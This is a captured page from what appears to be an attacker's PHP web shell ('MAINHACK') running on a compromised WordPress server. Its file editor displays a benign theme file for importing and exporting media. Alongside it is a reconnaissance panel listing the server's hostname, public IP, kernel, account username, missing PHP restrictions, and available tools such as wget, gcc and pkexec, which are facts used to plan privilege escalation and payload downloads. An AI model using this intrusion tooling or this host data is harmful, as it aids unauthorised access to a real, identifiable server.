[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: attachments.php
<?php /** * @Template: attachments.php * @since: 1.0.0 * @author: Case-Themes * @descriptions: Import and export media handle * @create: 17-Nov-17 */ if (!defined('ABSPATH')) { die(); } function ct_ie_media_export($folder_dir) { global $wp_filesystem; $upload_dir = wp_upload_dir(); $media_backup = $upload_dir['basedir'] . '/ct-attachment-tmp/'; $query = array( 'post_type' => 'attachment', 'posts_per_page' => -1, 'post_status' => 'inherit', ); $media = new WP_Query($query); if (!$media->have_posts()) return 0; while ($media->have_posts()) : $media->the_post(); /* get file dir */ $attached_file = (get_attached_file(get_the_ID())); if (!file_exists($attached_file)) continue; /* get file name. */ $attached_name = basename($attached_file); /* get file dir */ $attached_dir = dirname($attached_file); /* get date folder. */ $folder_date = str_replace($upload_dir['basedir'], '', $attached_dir); if (strpos($folder_date, 'revslider')) continue; /* new file. */ $new_file = $media_backup . $folder_date . '/' . $attached_name; /* create date folder. */ if (!is_dir($media_backup . $folder_date)) wp_mkdir_p($media_backup . $folder_date); copy($attached_file, $new_file); endwhile; /* zip */ if (class_exists('ZipArchive')){ $zip = new ZipArchive; $zip->open($upload_dir['basedir'] . '/ct-attachment-tmp.zip', ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE); ct_ie_zip_folder($media_backup, $zip); $zip->close(); /* media */ if (!is_dir($folder_dir . 'content')) wp_mkdir_p($folder_dir . 'content'); $attachment = ct_ie_export_wp(array('content' => 'attachment')); $wp_filesystem->put_contents($folder_dir . 'content/attachment-data.xml', $attachment, FS_CHMOD_FILE); } } function ct_ie_media_import($options, $folder_dir , $manual_import) { global $import_result; if (empty($options['attachment'])) { $import_result[] = 'Media file not found!'; } else { if($manual_import === false){ $upload_dir = wp_upload_dir(); /* download & unzip. */ $_cache = trailingslashit($upload_dir['basedir'] . '/ct-demo'); if (!is_dir($_cache)) wp_mkdir_p($_cache); wp_safe_remote_get($options['attachment'], array('timeout' => 3000, 'stream' => true, 'filename' => $_cache . 'ct-attachment-tmp.zip')); unzip_file($_cache . 'ct-attachment-tmp.zip', $upload_dir['basedir']); } $wp_import = new CT_Import(); /* import files. */ $wp_import->import($folder_dir . 'content/attachment-data.xml', null); $import_result[] = 'Import media successfully!'; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.47 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002